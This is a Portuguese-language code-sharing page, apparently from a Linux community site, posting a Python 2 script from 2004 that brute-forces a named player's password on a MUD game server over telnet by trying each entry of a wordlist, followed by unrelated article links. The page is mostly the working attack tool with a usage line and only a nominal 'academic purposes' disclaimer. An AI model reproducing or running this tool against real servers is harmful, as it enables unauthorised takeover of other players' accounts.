Brute Force para MUD
Publicado por Karl Phillip 14/07/2004
[ Hits: 11.184 ]
Programa do tipo forca bruta para MUDs, escrito em Python por mim.
Tenta descobrir a senha de um jogador atraves de um dicionario de palavras, passando como parametro o Host e a Porta em que o jogo esta rodando.
Uso: ./mudbf.py end.do-mud.com 3000 JOGADOR dic_palavras.txt
Meus agradecimentos a <Aloysio de Paiva Figueiredo> pelo incentivo e muitas vezes suporte.
#!/usr/bin/python
#########################################################################################
### #
### This is a <Brute Force> program for MUD. #
### It was design fo academic purposes only. ***USE IT AT OWN RISC*** #
### Written in Python by: Karl Phillip #
### website: www.maxphil.cjb.net #
### em@il: max-phil@bol.com.br #
### Karl Phillip #
#########################################################################################
import sys, string
from telnetlib import Telnet
try:
host_name = sys.argv[1]
port = sys.argv[2]
ptarget = sys.argv[3]
fname = sys.argv[4]
except IndexError:
print ">> Usage: ./mudbf <host> <port> <playerTARGET> <passwdFILE)\n"
sys.exit(1)
try:
arq = open(fname)
arq.close()
except IOError:
print ">> Password file does not exist!\n"
sys.exit(1)
print "\n<PytHoN programmed/> _brute_force4MUD_"
print ""
print " http://www.maxphil.cjb.net"
print " by: Karl Phillip \n"
print " <Target>: %s" % host_name
print " <Port>: %s" % port
print " <Player>: %s\n" % ptarget
print ">> Trying passwords.. (this could take a few minutes)\n"
arq = open(fname)
login_sucess = "*** PRESS RETURN:"
login_new ="Did I get that righ"
numtries = 0
looping = False
while not looping:
for line in arq.readlines():
passwd = line
numtries += 1
vict = Telnet(host_name, port)
vict.write(ptarget+"\n")
vict.write(str(passwd)+"\n")
response = vict.read_until("Wrong password.", 12)
if string.count(response, login_new):
print "\n========================================="
print " *PLAYER NOT FOUND* in this MUD!"
print "=========================================\n"
arq.close()
vict.close()
sys.exit(1)
elif string.count(response, login_sucess):
print "\n <Passwords tried> %d" % int(numtries)
print "\n*User*: %s" % ptarget
print "*Password*: %s" % passwd
vict.close()
sys.exit(1)
else:
#print "Trying passwd: %s" % passwd
vict.close()
vict.close()
looping = True
arq.close()
vict.close()
print "\n <Passwords tried> %d" % int(numtries)
print "\n========================================="
print " *NO PASSWORD* was found in that file!"
print "=========================================\n"
Krypt - Função de criptografia por chave de qualquer tamanho
Função para decriptar Base64 em string compactada
Como mudar o IP aleatoriamente em Python
MsgCoder - Codificador de mensagens
Papagaiando o XFCE com temas e recursos
WhatsApp com Chamadas no Linux via Waydroid
XFCE - quase um Gnome ou Plasma mas muito mais leve
LXQT - funcional para máquinas pererecas e usuários menos exigentes
Atualizações de Segurança Automáticas no Debian
Como cortar as partes de um vídeo com passagens de áudio em branco
Tiling automático no KDE Plasma
SNMP Scan no OCS Inventory só funciona com HTTPS corretamente configurado
Alguém tem que acabar com ANATEL!!! (0)
GOG confirma suporte oficial ao sistema Linux: "o trabalho começo... (4)









